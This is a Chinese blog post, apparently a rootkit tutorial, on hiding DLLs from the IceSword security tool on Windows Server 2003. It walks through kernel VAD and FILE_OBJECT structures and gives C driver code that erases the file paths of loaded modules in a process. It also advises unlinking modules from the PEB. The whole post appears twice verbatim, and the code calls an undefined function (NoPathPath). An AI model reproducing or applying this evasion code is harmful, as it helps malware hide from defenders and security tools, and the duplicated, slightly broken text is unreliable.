//http://hi.baidu.com/sysnap
枚举DLL的方法很多
CreateToolhelp32Snapshot.算是最原始的..
枚举PEB..(IS使用的方法之一)缺点是断链也就无能为力了
ZwQueryVirtualMemory.(IS使用的方法之一)..不过这个小伟在XP下已经成功绕过了,但是
由于2003和XP的内核数据结构不一样,造成在2003下不兼容,我看了2003下的数据结构后,
简单的实现了下,跟XP的差别不是很大.
一般的断链IS的ZwQueryVirtualMemory是可以枚举到的
因为IS只有在完全得不到模块才会使用PEB.否则用ZwQueryVirtualMemory/...这倒是给我
们个很好绕的机会,因为你会发现效果是垮进程的,所以很适合全局钩子...自己隐藏了,所
有进程都隐藏
XP中用到的是
+0x11c VadRoot : Ptr32 Void
2003下却是
+0x258 VadRoot : _MM_AVL_TABLE
俩个数据结构变了,多了个_MM_AVL_TABLE和_MMADDRESS_NODE..到底跟原来的还有什么关
系
在2003中,下面几个dt命令你就知道是怎么回事了
lkd> dt _eprocess 82256cf8
nt!_EPROCESS
+0x258 VadRoot : _MM_AVL_TABLE
lkd> dt _MM_AVL_TABLE 0x82256cf8+0x258
nt!_MM_AVL_TABLE
+0x000 BalancedRoot : _MMADDRESS_NODE
lkd> dt _MMADDRESS_NODE 0x82256cf8+0x258
nt!_MMADDRESS_NODE
+0x000 u1 : __unnamed
+0x004 LeftChild : (null)
+0x008 RightChild : 0x824434b8 _MMADDRESS_NODE
//_MMADDRESS_NODE就是我们想要的东西,2003中才有这个结构,XP中没有
lkd> dt _MMADDRESS_NODE 0x824434b8
nt!_MMADDRESS_NODE
+0x000 u1 : __unnamed
+0x004 LeftChild : 0x82443e28 _MMADDRESS_NODE
+0x008 RightChild : 0x821f9698 _MMADDRESS_NODE
//到了这里,我们会说,_MMADDRESS_NODE与_MMVAD有什么关系呢??..别糊涂,我们转化下就
行了
lkd> dt nt!_MMVAD 0x824434b8
+0x000 u1 : __unnamed
+0x004 LeftChild : 0x82443e28 _MMVAD
+0x008 RightChild : 0x821f9698 _MMVAD
+0x00c StartingVpn : 0x1000
+0x010 EndingVpn : 0x10f0
+0x014 u : __unnamed
+0x018 ControlArea : 0x8219df30 _CONTROL_AREA -------------->>信息1
+0x01c FirstPrototypePte : 0xe16009c8 _MMPTE
+0x020 LastContiguousPte : 0xfffffffc _MMPTE
+0x024 u2 : __unnamed
lkd> dt _CONTROL_AREA 0x8219df30
nt!_CONTROL_AREA
+0x000 Segment : 0xe1600990 _SEGMENT
+0x004 DereferenceList : _LIST_ENTRY [ 0x0 - 0x0 ]
+0x00c NumberOfSectionReferences : 1
+0x010 NumberOfPfnReferences : 0x50
+0x014 NumberOfMappedViews : 1
+0x018 NumberOfSystemCacheViews : 0
+0x01c NumberOfUserReferences : 2
+0x020 u : __unnamed
+0x024 FilePointer : 0x82268f68 _FILE_OBJECT------------->>信息2
+0x028 WaitingForDeletion : (null)
+0x02c ModifiedWriteCount : 0
+0x02e FlushInProgressCount : 0
lkd> dt _FILE_OBJECT 0x82268f68
nt!_FILE_OBJECT
+0x000 Type : 5
+0x030 FileName : _UNICODE_STRING "/WINDOWS/explorer.exe"--->>信息3
ZwQueryVirtualMemory的枚举最终是用到了+0x030 FileName :
_UNICODE_STRING "/WINDOWS/explorer.exe"之类的信息
所以如果把这个地方抹掉..就可以成功绕过ZwQueryVirtualMemory...试了下.IS果然不能
枚举.只时候IS用了第二种方法,枚举PEB....还是能正常妹举的...但这时候只要我们在进
行断链处理..IS就枚不到了..
抹掉 +0x030 FileName : _UNICODE_STRING "/WINDOWS/explorer.exe"的代码简
单如下
//
void ParseVadTree(IN ULONG ParentNode)
{
ULONG LeftChild,RightChild;
NoPathPath(ParentNode);
if ( MmIsAddressValid( (ULONG *)ParentNode ) )
{
LeftChild = *(ULONG*)((ULONG)ParentNode+0x4);
RightChild =*(ULONG*)((ULONG)ParentNode+0x8);
ParseVadTree(LeftChild);
ParseVadTree(RightChild);
}
}
void NoPath(IN ULONG ParentNode)
{
ULONG ControlArea;
ULONG FileObj;
PUNICODE_STRING FilePath;
if(ParentNode==0)
return;
if(MmIsAddressValid((ULONG*)((ULONG)ParentNode+0x18)))
ControlArea=*(ULONG*)((ULONG)ParentNode+0x18);
if(MmIsAddressValid((ULONG*)(ULONG*)((ULONG)ControlArea+0x24)))
FileObj=*(ULONG*)((ULONG)ControlArea+0x24);
if(MmIsAddressValid((ULONG*)(ULONG*)((ULONG)FileObj+0x30)))
{
FilePath=(PUNICODE_STRING)((ULONG)FileObj+0x30);
///
if(*(USHORT*)FileObj==FILETYPE)
{
//你可以直接打出路径做成妹举模块的.也可以把路经抹掉///
RtlZeroMemory(FilePath->Buffer,FilePath->Length);
FilePath->Length = 0;
FilePath->MaximumLength = 0;
}
///
}
}
就是这样...
所以比较好的隐藏DLL是对DLL进行断链处理,然后抹掉_FILE_OBJECT里面的路径..末掉PE
文件里面的相关信息或者直接reload
下面是演示程序,驱动只能在2003下运行,这一点要注意
附件中
SYS的作用是把notepad.exe这个进程的所有加载模块的路径抹掉...所以在运行驱动前你
先打开notepad.exe
exe的作用是用ZwQueryVirtualMemory来枚举DLL....你可以用他看下是否加载驱动后
ZwQueryVirtualMemory就失效了....
效果是跨进程的...也就是说在目标进程了隐藏了A.DLL...那么其他进程加载了A.DLL..用
ZwQueryVirtualMemory也失效......
IS第一次用的是ZwQueryVirtualMemory...只有在找不到任何模块的时候才采用PEB...所
以如果我们只隐藏一俩个DLL....IS被绕过.....你可以发现,驱动加载后,,..你用IS来看
进程加载的DLL...是找不到NTDLL.DLL之类的DLL的..
PS::只是PASS ZwQueryVirtualMemory..没有进行断链处理,也没有抹PE中的相关信息,更
没reload..一些普通的工具还是可以得到模块的....还有蓝屏不要骂俺啊......
枚举DLL的方法很多
CreateToolhelp32Snapshot.算是最原始的..
枚举PEB..(IS使用的方法之一)缺点是断链也就无能为力了
ZwQueryVirtualMemory.(IS使用的方法之一)..不过这个小伟在XP下已经成功绕过了,但是
由于2003和XP的内核数据结构不一样,造成在2003下不兼容,我看了2003下的数据结构后,
简单的实现了下,跟XP的差别不是很大.
一般的断链IS的ZwQueryVirtualMemory是可以枚举到的
因为IS只有在完全得不到模块才会使用PEB.否则用ZwQueryVirtualMemory/...这倒是给我
们个很好绕的机会,因为你会发现效果是垮进程的,所以很适合全局钩子...自己隐藏了,所
有进程都隐藏
XP中用到的是
+0x11c VadRoot : Ptr32 Void
2003下却是
+0x258 VadRoot : _MM_AVL_TABLE
俩个数据结构变了,多了个_MM_AVL_TABLE和_MMADDRESS_NODE..到底跟原来的还有什么关
系
在2003中,下面几个dt命令你就知道是怎么回事了
lkd> dt _eprocess 82256cf8
nt!_EPROCESS
+0x258 VadRoot : _MM_AVL_TABLE
lkd> dt _MM_AVL_TABLE 0x82256cf8+0x258
nt!_MM_AVL_TABLE
+0x000 BalancedRoot : _MMADDRESS_NODE
lkd> dt _MMADDRESS_NODE 0x82256cf8+0x258
nt!_MMADDRESS_NODE
+0x000 u1 : __unnamed
+0x004 LeftChild : (null)
+0x008 RightChild : 0x824434b8 _MMADDRESS_NODE
//_MMADDRESS_NODE就是我们想要的东西,2003中才有这个结构,XP中没有
lkd> dt _MMADDRESS_NODE 0x824434b8
nt!_MMADDRESS_NODE
+0x000 u1 : __unnamed
+0x004 LeftChild : 0x82443e28 _MMADDRESS_NODE
+0x008 RightChild : 0x821f9698 _MMADDRESS_NODE
//到了这里,我们会说,_MMADDRESS_NODE与_MMVAD有什么关系呢??..别糊涂,我们转化下就
行了
lkd> dt nt!_MMVAD 0x824434b8
+0x000 u1 : __unnamed
+0x004 LeftChild : 0x82443e28 _MMVAD
+0x008 RightChild : 0x821f9698 _MMVAD
+0x00c StartingVpn : 0x1000
+0x010 EndingVpn : 0x10f0
+0x014 u : __unnamed
+0x018 ControlArea : 0x8219df30 _CONTROL_AREA -------------->>信息1
+0x01c FirstPrototypePte : 0xe16009c8 _MMPTE
+0x020 LastContiguousPte : 0xfffffffc _MMPTE
+0x024 u2 : __unnamed
lkd> dt _CONTROL_AREA 0x8219df30
nt!_CONTROL_AREA
+0x000 Segment : 0xe1600990 _SEGMENT
+0x004 DereferenceList : _LIST_ENTRY [ 0x0 - 0x0 ]
+0x00c NumberOfSectionReferences : 1
+0x010 NumberOfPfnReferences : 0x50
+0x014 NumberOfMappedViews : 1
+0x018 NumberOfSystemCacheViews : 0
+0x01c NumberOfUserReferences : 2
+0x020 u : __unnamed
+0x024 FilePointer : 0x82268f68 _FILE_OBJECT------------->>信息2
+0x028 WaitingForDeletion : (null)
+0x02c ModifiedWriteCount : 0
+0x02e FlushInProgressCount : 0
lkd> dt _FILE_OBJECT 0x82268f68
nt!_FILE_OBJECT
+0x000 Type : 5
+0x030 FileName : _UNICODE_STRING "/WINDOWS/explorer.exe"--->>信息3
ZwQueryVirtualMemory的枚举最终是用到了+0x030 FileName :
_UNICODE_STRING "/WINDOWS/explorer.exe"之类的信息
所以如果把这个地方抹掉..就可以成功绕过ZwQueryVirtualMemory...试了下.IS果然不能
枚举.只时候IS用了第二种方法,枚举PEB....还是能正常妹举的...但这时候只要我们在进
行断链处理..IS就枚不到了..
抹掉 +0x030 FileName : _UNICODE_STRING "/WINDOWS/explorer.exe"的代码简
单如下
//
void ParseVadTree(IN ULONG ParentNode)
{
ULONG LeftChild,RightChild;
NoPathPath(ParentNode);
if ( MmIsAddressValid( (ULONG *)ParentNode ) )
{
LeftChild = *(ULONG*)((ULONG)ParentNode+0x4);
RightChild =*(ULONG*)((ULONG)ParentNode+0x8);
ParseVadTree(LeftChild);
ParseVadTree(RightChild);
}
}
void NoPath(IN ULONG ParentNode)
{
ULONG ControlArea;
ULONG FileObj;
PUNICODE_STRING FilePath;
if(ParentNode==0)
return;
if(MmIsAddressValid((ULONG*)((ULONG)ParentNode+0x18)))
ControlArea=*(ULONG*)((ULONG)ParentNode+0x18);
if(MmIsAddressValid((ULONG*)(ULONG*)((ULONG)ControlArea+0x24)))
FileObj=*(ULONG*)((ULONG)ControlArea+0x24);
if(MmIsAddressValid((ULONG*)(ULONG*)((ULONG)FileObj+0x30)))
{
FilePath=(PUNICODE_STRING)((ULONG)FileObj+0x30);
///
if(*(USHORT*)FileObj==FILETYPE)
{
//你可以直接打出路径做成妹举模块的.也可以把路经抹掉///
RtlZeroMemory(FilePath->Buffer,FilePath->Length);
FilePath->Length = 0;
FilePath->MaximumLength = 0;
}
///
}
}
就是这样...
所以比较好的隐藏DLL是对DLL进行断链处理,然后抹掉_FILE_OBJECT里面的路径..末掉PE
文件里面的相关信息或者直接reload
下面是演示程序,驱动只能在2003下运行,这一点要注意
附件中
SYS的作用是把notepad.exe这个进程的所有加载模块的路径抹掉...所以在运行驱动前你
先打开notepad.exe
exe的作用是用ZwQueryVirtualMemory来枚举DLL....你可以用他看下是否加载驱动后
ZwQueryVirtualMemory就失效了....
效果是跨进程的...也就是说在目标进程了隐藏了A.DLL...那么其他进程加载了A.DLL..用
ZwQueryVirtualMemory也失效......
IS第一次用的是ZwQueryVirtualMemory...只有在找不到任何模块的时候才采用PEB...所
以如果我们只隐藏一俩个DLL....IS被绕过.....你可以发现,驱动加载后,,..你用IS来看
进程加载的DLL...是找不到NTDLL.DLL之类的DLL的..
PS::只是PASS ZwQueryVirtualMemory..没有进行断链处理,也没有抹PE中的相关信息,更
没reload..一些普通的工具还是可以得到模块的....还有蓝屏不要骂俺啊......